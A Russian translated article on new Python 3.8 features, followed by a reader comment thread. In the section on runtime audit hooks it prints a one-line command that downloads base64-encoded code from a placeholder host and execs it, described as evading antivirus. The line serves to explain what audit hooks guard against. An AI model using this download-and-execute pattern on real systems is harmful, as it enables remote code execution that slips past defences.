Python 3.8: Что нового и как этим пользоваться?

Автор оригинала: Nikita Chernenko
  • Перевод
Следующий перевод подготовлен специально для «питонистов», которым интересно наверняка интересно почитать о новых функциях Python 3.8. В преддверии запуска нового потока по курсу «Разработчик Python» мы не смогли пройти мимо этой темы.

В этой статье мы поговорим про новые функциональные возможности, которые были введены в Python 3.8.




Моржовый оператор (Оператор присваивания)


Мы знаем, что вы этого ждали. Это ожидание восходит еще к тем временам, когда в Python намеренно запретили использовать «=» в качестве оператора сравнения. Некоторым людям это понравилось, поскольку они больше не путали = и == в присваивании и сравнении. Другие сочли неудобной необходимость повторять оператор, либо присваивать его переменной. Давайте перейдем к примеру.

По словам Гвидо, большинство программистов склонны писать:

group = re.match(data).group(1) if re.match(data) else None

Вместо

match = re.match(data)
group = match.group(1) if match else None

Это делает работу программы медленнее. Хотя вполне понятно, почему некоторые программисты все же не пишут первым способом – это загромождает код.

Теперь же у нас есть возможность делать так:

group = match.group(1) if (match := re.match(data)) else None

Кроме того, это полезно при использовании if’ов, чтобы не вычислять все заранее.

match1 = pattern1.match(data)
match2 = pattern2.match(data)
if match1:
    result = match1.group(1)
elif match2:
    result = match2.group(2)
else:
    result = None

И вместо этого мы можем написать:

if (match1 := pattern1.match(data)):
    result = match1.group(1)
elif (match2 := pattern2.match(data)):
    result = match2.group(2)
else:
    result = None

Что является более оптимальным, поскольку второй if не будет считаться, если первый отработает.

На самом деле я очень рад стандарту PEP-572, поскольку он не просто дает ранее не существовавшую возможность, но и использует для этого другой оператор, поэтому его непросто будет спутать с ==.

Однако заодно он предоставляет и новые возможности для ошибок и создания заранее нерабочего кода.

y0 = (y1 := f(x))

Позиционные аргументы


def f(a, b, /, c, d, *, e, f):
    print(a, b, c, d, e, f)

Здесь все, что находится перед / — строго позиционные аргументы, а все, что после * — только ключевые слова.

f(10, 20, 30, d=40, e=50, f=60)     - valid
f(10, b=20, c=30, d=40, e=50, f=60) - b cannot be a keyword argument
f(10, 20, 30, 40, 50, f=60)         - e must be a keyword argument

Область применения этой функции можно выразить одним предложением. Библиотекам проще будет менять свои сигнатуры. Давайте рассмотрим пример:

def add_to_queue(item: QueueItem):

Теперь автор должен поддерживать такую сигнатуру, и имя параметра больше не изменить, поскольку это изменение станет критическим. Представьте, что вам нужно изменить не один элемент, а целый список элементов:

def add_to_queue(items: Union[QueueItem, List[QueueItem]]):

Или так:

def add_to_queue(*items: QueueItem):

Это то, чего раньше вы сделать не могли из-за возможной несовместимости с предыдущей версией. А теперь можете. Кроме того, это больше соответствует конструкциям, которые уже используют такой подход. Например, вы не можете передать kwargs функции pow.

>>> help(pow)
...
pow(x, y, z=None, /)
...
>>> pow(x=5, y=3)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: pow() takes no keyword arguments

Поддержка дебага с помощью f-строк


Небольшая дополнительная функция, которая помогает нам использовать компактный формат записи вида “имя переменной=”, переменная.

f"{chr(65) = }" => "chr(65) = 'A'"

Заметили это, после chr(65)? Тот самый фокус. Он помогает обеспечить укороченный способ печати переменных с помощью f-строк.

Нативная оболочка asyncio


Теперь если мы запустим оболочку Python как ‘python -m asyncio’, нам уже не понадобится asyncio.run(), чтобы запускать асинхронные функции. Await можно использовать непосредственно из самой оболочки:

>python -m asyncio
asyncio REPL 3.8.0b4
Use “await” directly instead of “asyncio.run()”.
Type “help”, “copyright”, “credits” or “license” for more information.
>>> import asyncio
>>> async def test():
… await asyncio.sleep(1)
… return ‘hello’
…
>>> await test()
‘hello’

Вызовы Python runtime audit hooks


Рантайм Python очень сильно полагается на С. Однако код, выполненный в нем, никаким способом не регистрируется и не отслеживается. Это затрудняет мониторинг работы фреймфорков для тестирования, фреймворков для логирования, средств безопасности и, возможно, ограничивает действия, выполняемые рантаймом.

Теперь можно наблюдать за событиями, инициированными рантаймом, включая работу системы импорта модулей и любые пользовательские хуки.

Новое API выглядит следующим образом:

# Add an auditing hook
sys.addaudithook(hook: Callable[[str, tuple]])
# Raise an event with all auditing hooks
sys.audit(str, *args)

Хуки нельзя удалить или заменить. Для CPython хуки, пришедшие из С, считаются глобальными, тогда как хуки, пришедшие из Python, служат только для текущего интерпретатора. Глобальные хуки выполняются перед хуками интерпретатора.

Один из особенно интересных и не отслеживаемых эксплойтов может выглядеть так:

python -c “import urllib.request, base64;
    exec(base64.b64decode(
        urllib.request.urlopen(‘http://my-exploit/py.b64')
    ).decode())”

Такой код не сканируется большинством антивирусных программ, поскольку они ориентируются на распознаваемый код, считываемый при загрузке и записи на диск, и base64 вполне достаточно, чтобы эту систему обойти. Этот код также пройдет такие уровни защиты, как списки управления доступом к файлам или разрешения (когда доступ к файлам не требуется), доверенные списки приложений (при условии, что у Python есть все необходимые разрешения) и автоматический аудит или логгирование (при условии, что у Python есть доступ к интернету или доступ к другой машине в локальной сети, с которой можно получить полезную нагрузку).

С помощью runtime event hooks мы можем решить, как реагировать на любое конкретное событие. Мы можем либо зарегистрировать событие, либо полностью прервать операцию.

multiprocessing.shared_memory


Помогает использовать одну и ту же область памяти из разных процессов/интерпретаторов. В принципе, это может помочь нам сократить время, затрачиваемое на сериализацию объектов для передачи их между процессами. Вместо сериализации, отправки в очередь и десериализации, мы можем просто использовать общую память из другого процесса.

Протокол Pickle и буферы внеполосных данных


Протокол pickle 5 предоставляет поддержу внеполосных буферов, где данные могут передаваться отдельно от основного потока pickle по усмотрению транспортного уровня.

Предыдущие 2 дополнения весьма важны, однако они не были включены в релизную версию Python 3.8, поскольку необходимо проделать еще кое-какую работу по совместимости со старым кодом, однако это может изменить походы к параллельному программированию на Python.

Суб-интерпретаторы


Потоки в Python не могут выполняться параллельно из-за GIL, в то время как процессам требуется много ресурсов. Только начало процесса занимает 100-200 мс, а они еще и потребляют большое количество оперативной памяти. Но кое-что может с ними совладать и это суб-интерпретаторы. GIL – это интерпретатор, поэтому он не повлияет на работу других интерпретаторов, и запускается он легче, чем процесс (хотя и медленнее, чем поток).

Основная проблема, которая в связи с этим возникает, заключается в передаче данных между интерпретаторами, поскольку они не могут передавать состояние, как это делают потоки. Поэтому нам нужно использовать какую-то связь между ними. Pickle, marshal или json можно использовать для сериализации и десериализации объектов, однако работать такой способ будет довольно медленно. Одним из решений является использование общей памяти из модуля процессов.

Подпроцессы, судя по всему, являются хорошим решением для проблем GIL, однако необходимо еще проделать определенный пул работ. В некоторых случаях Python по-прежнему использует “Runtime State” вместо “Interpreter State”. Например, сборщик мусора работает именно так. Поэтому нужно внести изменения в многие внутренние модули, чтобы начать по-нормальному использовать суб-интерпретаторы.

Надеюсь, этот функционал смогут полноценно развернуть уже в версии Python 3.9.

В заключение хочу сказать, что в эту версию добавлен определенный синтаксический сахар, а еще некоторые серьезные улучшения в работе библиотек и процесса выполнения. Однако множество интересных функций так и не попали в релиз, поэтому будем ждать их в Python 3.9.

Источники:


OTUS. Онлайн-образование
621,68
Цифровые навыки от ведущих экспертов
Поделиться публикацией

Похожие публикации

Комментарии 68

    +3

    У «моржового» присваивания низкий приоритет? Почему он везде в скобках, особенно в операторах if?

      0
      Потому что это не присваивание, а именование выражения. То есть само вычисление происходит не в том месте, где стоит :=, а позже, где новое имя используется.

      Это не := из Pascal. Поэтому в стандарте PEP-572 столько места уделено визуальному отделению := от = с помощью тех самых скобок, чтобы избежать ошибочного использования одного оператора вместо другого.
        +3

        Погодите, но если это не присваивание, а именование выражения, то зачем его вообще писать в скобках?


        match1 := pattern1.match(data)
        match2 := pattern2.match(data)
        if match1:
            result = match1.group(1)
        elif match2:
            result = match2.group(2)
        else:
            result = None

        Чем вот такой вариант не вариант? Или это всё же присваивание, раз уж оно называется Assignment Expressions?

          +1
          т.е. некоторые пишут так
          group = re.match(data).group(1) if re.match(data) else None
          хотя это делает программу медленнее (а кому какое дело)
          другие так не пишут, т.к. громоздко (серьёзно?)
          и теперь для этих других придумали сахарок?
          group = match.group(1) if (match := re.match(data)) else None
          [facepalm]
            0
            В чем проблема сахара? (причем я не шарю, думаю тут не просто сахар)

            Или вы из разряда «не страдал — не мужик»?
              0

              проблема, что решается не упомянутая вскользь неэффективность приведённой в пример идиомы, а только сокращается её запись, делая неэффективность ещё менее очевидной, якобы, чтобы большему количеству разработчиков было удобнее писать такой неэффективный код

                +1
                Разве во втором случае метод match(data) выполняется не один раз вместо двух в первом? Я думал в этом идея.
                  0
                  Разве во втором случае метод match(data) выполняется не один раз вместо двух в первом? Я думал в этом идея.
                  да, Вы правы, должно быть одно вычисление
                  смутила формулировка ответа asorkin:
                  Потому что это не присваивание, а именование выражения. То есть само вычисление происходит не в том месте, где стоит :=, а позже, где новое имя используется.
                  это неверно, вычисление будет сразу, это не алиас на выражение, а алиас на результат выражения, где под выражением для := и = подразумевается разный скоуп, поэтому введена синтаксическая разница записи
                    0
                    Я бы сказал что это одновременно присваивание и выполнение, так проще понимается. На самом деле неплохой сахар чтобы не писать присвоение выше как переменную которую придется использовать.
          0
          Синтаксис этого оператора запрещает использовать его без скобок, чтобы он не заменял ´=´ при обычном использовании
          +8
          Может писать так легче, но читать — сложнее.
          Как бы вроде бы парадигма питона была — читаемость, не?
          Кажися идем в сторону современной джава…
            +2

            Согласен. После этого кипиша (PEP-572) Гвидо и ушёл с поста BDFL — не было больше сил и нервов противостоять сообществу.

              +1
              Кипиш был, но в обратную сторону. Гвидо один из авторов PEP-572. Он его с большим трудом и внедрял.
              –1

              Читаемость, на мой взгляд, особенно сильно страдает от аннотаций типов. За ними тяжелее видеть код (может быть временно, потом привыкну, но кажется, что нет).

                +7

                Зато, становится намного более понятно, с чем работает каждая функция, какой тип принимает, какой возвращает. С ними можно прикрутить статический анализатор (mypy), использовать их для сериализации (pydantic), задавать ими форматы данных для API (fastapi).

                  +10

                  Это просто у вас типов выразительных нет.


                  В других языках зачастую можно на код и не смотреть, типов достаточно.

                    0
                    С учетом того, что аннотация преимущественно только на аргументах функции и возврате, то особо не загромождает.
                      +3

                      Ну, наверное, вопрос привычки, да. И все же как-то неэстетично выглядит. Когда только начинал изучать Python 20 лет назад, полюбил его именно за простоту, за то что код выглядит как псевдокод.


                      Нынешний Python очень сильно отличается от того, с которого начинал (кажется, это был 1.5.2 или даже 1.4). И хотя какие-то вещи мне нравятся и были абсолютно необходимыми, но постоянные радикальные изменения приводят к тому, что он становится совсем другим языком.

                        +1

                        Если заменить в тексте Python на C++, то получим тот же самый вывод) Раньше трава была зеленее)

                          +1
                          Так никто аннотации типов использовать не заставляет. Но мне с ними, например, код проще и писать, и читать. Это вот «передадим кучку объектов какого-то там типа» меня всегда в Питоне выстёгивало. Поди разберись, не читая код метода, что передавать и что получим в результате. А тут сразу всё ясно.
                          Круче было бы, конечно, со строгой типизацией, но и с имеющейся рантайм-проверкой типов уже можно жить.
                            +1

                            Я тоже начал использовать, и мне тоже они нравятся именно потому что легче понимать, что передается и получаптся.


                            Но все-таки есть какая-то неудовлетворенность от того, что язык перестал быть таким необыкновенно простым. Если бы спросили мое мнение, то я бы и против walrus оператора высказался. Да, он удобнее во многих ситуациях. Но не настолько, чтобы оправдать более запутанные конструкции, которые неизбежно теперь появятся.

                        +3

                        Как будто докстринги загромождают код меньше, особенно когда там начинают типы всех аргументов расписывать...

                        +1
                        Если сильно не увлекаться и использовать только там, где «две строчки в одну», то вроде бы вполне читабельно. Ну и может в самом деле некоторый плюс в производительность можно будет получить, хотя как-то сомнительно звучит.
                          –6

                          Читаемость — весьма субъективное понятие. Там, где джун будет вникать в код, сеньор видя знакомый паттерн уже знает, что и куда писать. А нужно ли делать код понятный всем? Это хоть и часть парадигмы питона, но совсем не значит, что парадигма не может меняться или что все в питоне должно следовать правилам, придуманным целую эпоху назад.


                          Я вот, например, люблю высокую плотность экшена в коде, а инициализация/присваиваение перед условием вызывает только раздражение и непонимание, зачем знакомый паттерн нужно переписывать миллионы раз в одних и тех же ситуациях.
                          А то, что использование оператора может превратиться в изврат — другой вопрос. Любой инструмент можно использовать неправильно, это же не повод отказываться от удобных инструментов.
                          Тот же map может очень органично вписаться в код или стать пыткой. Не выкидывать же его из питона теперь.
                          Ну и я считаю, что такие вещи, как := это удел опытных программистов, которые хотят вложить больше смысла в меньшее количество кода. И начинать его использовать надо только тогда, когда почувствуется острая необходимость

                            0
                            это удел опытных программистов, которые хотят вложить больше
                            Так кода то особо меньше не стало, просто он перешел из вертикальной плоскости в горизонтальную.

                            Читаемость — весьма субъективное понятие
                            Быть может до определенного момента. Любая конструкция имеющая вложенное содержимое локализуемое посредством скобок любого формата по умолчанию заставляет парсить глазами этот текст, ухудшая читаемость.
                            –1
                            Дело не столько в читаемости, сколько в побочных эффектах в выражениях, которые некоторые захотят использовать, чтобы урвать пару строк код, а в итоге получится такое безобразие, что мало не покажется никому.
                            0

                            Всем на заметку: репозиторий с кейсами использования моржового оператора: https://github.com/vlevieux/Walrus-Operator-Use-Cases

                              –2
                              del
                                +1

                                Пока не получается перейти: в python 3.8 поломали API сишных расширений, из-за этого не собирается cython, который во многих библиотеках используется. Конечно, в версии из гита уже поправили, но на pypi ещё не загрузили.

                                  0
                                  Там некоторые экспорты забыли добавить в Python.dll.
                                    0

                                    Прежде всего, дело в том, что изменили сигнатуры некоторых функций. В частности, cython при компиляции жалуется на изменение PyCode_New в CPython.

                                • НЛО прилетело и опубликовало эту надпись здесь
                                    0
                                    Уже есть pypy с JIT-ом.
                                    +16
                                    моржовый оператор убог
                                    и как нарушение зен философии
                                    и как нарушения целоствности языка, где есть конструкция `as`
                                      0
                                      Поддерживаю. Что будет дальше? Введут таки какие-нибудь многострочные лямбды, добавив особый синтаксис, отличный от имеющегося?
                                        0

                                        Вариант с as рассматривали и отклонили: https://www.python.org/dev/peps/pep-0572/#alternative-spellings.
                                        Если вкратце: не хотели добавлять лишнюю семантику. В рассматриваемых случаях, переменная с правой стороны от as всегда присутствует в области видимости:


                                        1. import x.y.z as z
                                          # z = x.y.z
                                        2. with context as c:
                                          # c = context.__enter__()
                                          0
                                          и аргументация вида `the assignment target doesn't jump`
                                          если это действительно первый аргумент — то надо было оставить присваивание отдельной строкой.

                                          > не хотели добавлять лишнюю семантику

                                          а вот это прямая ложь. := — новая семантика
                                          as — уже существующая

                                          более того — она открывает возможность отказаться от сложной (с условием) семантики import. [as .]
                                          и перейти к совмещению двух более простых семантик (без условий) — отдельно import отдельно as

                                          Пункт про _enter_ вообще неудачен, так как он будет вызван даже без использования  as.

                                            0

                                            Имеется ввиду, "не хотели добавлять новую семантику оператору as".

                                              0
                                              тем хуже.

                                              Тут как не перекручивай, но выражение есть ложь. Оператор, которого раньше не было против существующего — всегда будет больше по семантике.
                                            –1
                                            Кстати предложение where: тоже очень интересное и красивое.

                                            Что самое смешное, что это выражение конфликтует с with: что правда.

                                            Вообще, все эти случаи (и многие поверх) можно было бы обьеденить с самым красивым, коротким и главное (потому что это тоже аргументация как оказалось) старым решением. Функцией (оператором?) let из лиспа.
                                          –3
                                          Опять код написанный на Python 3.8 не будет запускаться на младших версиях?

                                          Я не хейтер, просто искренне интересуюсь.
                                            +5

                                            А какой язык вообще поддерживает такой вид совместимости?

                                              –1
                                              Пишу на Go, он декларирует (и выполняет) совместимость в версии 1 уже много лет.
                                                +3

                                                Да ладно? Вон версия 1.10 позволяет писать x[1.0 << s], в то время как в более ранних такой код не скомпилируется.

                                                  –1
                                                  ну речь об обратной совместимости, наверное
                                                    0
                                                    Я проверил, вы правы в этом примере. Но, честно говоря, в языке со строгой типизацией я бы просто не рассчитывал на работу бинарных операций над вещественным типом.

                                                    Может быть есть еще примеры, более ощутимые, так сказать?
                                                      0

                                                      Ну вот в 1.5 было более ощутимое изменение.


                                                      Что же до его давности — это лишь означает что сам язык не развивается. Невозможно одновременно развивать язык и поддерживать как прямую так и обратную совместимость.

                                                +2
                                                Вообще не представляю совместимости «в низ» — старшая версия всегда добавляет новые фитчи, которые не доступны младшей версии.
                                                Совместимость «в верх» (в старшей версии работает код младшей) это еще куда не шло. Такое вроде must have, и даже периодически варнинги интерпретатор выплевывает "...was deprecated'
                                                  +1
                                                  Ну например, я могу скомпилировать код с помощью java11 и полученный байт-код может исполняться на 1.6. Обратная совместимость на уровне синтаксиса и на уровне байт-кода разные вещи, вторую можно попробовать и обеспечить.
                                                    0

                                                    А вот не факт. Лямбды сделаны через invokedynamic, а indy только в 1.7 появилась же.

                                                      0
                                                      Ну в java там вообще есть куча настроек и заморочек на эту тему.
                                                      +1

                                                      Ну, так просто в байт-кода своя версионность и это не считается за пример :D Если в байт-коде поменяют версию с 1.1 до 1.2, то очевидно команды из 1.2 не будут исполняться на старых версиях JVM.

                                                        0
                                                        Ну в данном случае я могу один и тот же исходный код скомпилировать в обе версии байт-кода и поставлять тут версию, которая нужна пользователю, а в питоне не факт что исходник транслируемый в байт-код для py3, получиться оттранслировать в байт-код для py2.
                                                      0
                                                      Ну в питоне нет ни совместимости вверх ни совместимости вниз, иначе бы не пришлось бы придумывать pip vs pip3 и все эти virtualenv Просто стало интересно неужели в каждой минорная цифре Python 3.x вводятся breakable changes. Как вы там живете вообще? Судя по реакции на безобидный вопрос, не очень.
                                                        0

                                                        Обратная совместимость в Питоне, вообще-то, есть. Надо просто считать python 2 и python 3 двумя разными языками.


                                                        virtualenv, кстати, в go тоже есть и аж двух разных видов (legacy GOPATH и go modules)

                                                          0
                                                          Жаль что авторы блогов и составители документации не следуют этому замечательному совету. Но видимо есть причина этому.

                                                          Есть ли гарантия какую версию выдаст команда python --version на произвольной системе? Вот у меня сейчас пишет Python 2.7.15+, а если я удалю Python 3.x у будет ли выпадать сообщение об ошибке или запустится 3.x? Есть сомнения.

                                                          go modules решают в первую очередь проблему breaking changes в библиотеках, то что они фиксируют версию языка — побочный результат, ибо проблема постоянного изменения синтаксиса языка в go не актуальна.
                                                            0

                                                            Ну так virtualenv тоже делался именно для решения проблемы breaking changes в библиотеках. То что его можно использовать для фиксации версии самого python я до вашего комментария как-то даже и не думал...

                                                              +4

                                                              Миграция между 2.x и 3.x — это отделный случай. Это не то, что происходит несколько раз в год — это эпопея, которая длится более десяти лет. И учитывая масштаб изменений, по-моему, все справились с ней весьма неплохо. Наверное до позапрошлого года я имел дело с разными проектами, какие-то на 2.x, какие-то на 3.x, и ни разу у меня не было проблем с переключением на одной машине.


                                                              В ветке 3.x изменения пошли быстрее, но, как правило, код может сломаться только при переносе из под новой версии в старую, и то не всегда. Код, написанный под Python 3.6 в 3.8 ломаться не будет.


                                                              Или я не так понял проблему?

                                                                0

                                                                Зато в 3.5 добавили ключевых слов, отчего ЕМНИП paramico поломался из-за параметра с названием async

                                                      +1
                                                      Питон идет в сторону усложнения.Это хорошо или плохо?
                                                        0
                                                        Не видел ни одного языка, который шёл бы в сторону упрощения. Ну, по крайней мере из широко используемых. Тут хотя бы никто не заставляет использовать все эти новые особенности.
                                                          0
                                                          Новый С++?
                                                            0

                                                            Это сарказм что ли? move semantics, variadic templates, вычисления времени компиляции, ranges, ещё больше особо шаблонной магии и т.д. Где тут упрощение то? То, во что превращается C++, который никогда простым и не был, это не упрощение, это вырождение в некоторое новое подмножество языка. И если использовать только его, то в некоторых случаях код получится проще и лаконичнее, но далеко не всегда.


                                                            И подобные статьи этому подтверждение:
                                                            https://habr.com/ru/company/jugru/blog/469465/


                                                            А вот, например, ликбез о том как же правильно передавать аргументы в конструктор в современном C++
                                                            https://habr.com/ru/post/460955/


                                                            А вот этот список так вообще доставляет.
                                                            https://en.cppreference.com/w/cpp/compiler_support


                                                            Ну и "спор" на лоре о размере стандарта C++
                                                            https://www.linux.org.ru/forum/development/14796243

                                                              0
                                                              Я просто выразил опасение, что Python движется возможно не туда (как и С++) — в неконтролируемое расширение. Но кое-что интересное почитать из вашего ответа я для себя нашел.
                                                                0

                                                                Так и я тоже считаю, что Python идёт куда-то не туда :)
                                                                Вся эта эмуляция типизации, особенно с генериками выглядит чужеродно в питонокоде. Одно дело — аннотировать сигнатуру функции и некоторые переменные для подсказок в IDE и самодокументации кода и совсем другое, когда из динамической типизации пытаются сделать статическую с помощью тайпхинтов и mypy.


                                                                Кстати, пока писал комментарий про C++, потерял одну ссылку, вот она:
                                                                https://habr.com/ru/company/jugru/blog/438260/

                                                        +1

                                                        Лучше бы switch case добавили.

                                                          0
                                                          Кто в теме, подскажите! В Kotlin есть очень удобная вещь, называемая «безопасные вызовы», позволяющая не писать проверку на null для цепочки вызовов, а просто использовать конструкцию вида: «bob?.department?.head?.name». Если одно из свойств имеет значение null, то вся цепочка вернет null. Планируется ли добавить подобный функционал в Python?
                                                            0

                                                            PEP-505, был отложен аккурат до выхода версии 3.8.

                                                          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                          Самое читаемое